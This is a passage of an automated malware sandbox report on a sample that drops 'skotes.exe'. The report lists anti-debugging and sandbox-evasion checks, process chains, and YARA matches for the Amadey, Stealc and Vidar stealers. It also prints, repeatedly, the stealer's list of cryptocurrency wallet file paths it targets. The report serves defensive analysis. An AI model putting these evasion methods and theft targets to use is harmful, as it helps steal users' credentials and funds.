Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.15.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.15.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.15.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.15.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.15.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2696419262.0000000001344000.00000040.00000001.01000000.00000003.sdmp, DocumentsBFHDHJKKJD.exe, 0000001F.00000002.2730038931.0000000000663000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000020.00000002.2749157721.0000000000893000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000021.00000002.2766628870.0000000000893000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000023.00000002.3410073673.0000000000893000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 31_2_051A0628 rdtsc

31_2_051A0628

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9C5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C963480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006D652B mov eax, dword ptr fs:[00000030h]		35_2_006D652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 35_2_006DA302 mov eax, dword ptr fs:[00000030h]		35_2_006DA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C99B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C99B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5160, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBFHDHJKKJD.exe "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2696419262.0000000001344000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C99B341 cpuid

0_2_6C99B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9635A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 35_2_006A65E0 LookupAccountNameA,

35_2_006A65E0

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 35.2.skotes.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.DocumentsBFHDHJKKJD.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.skotes.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000003.2689158860.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2749061982.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2708505132.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2766482189.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3271969084.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2723354960.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2729601779.0000000000471000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3409818554.00000000006A1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2695752628.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2188438662.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5160, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5160, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local 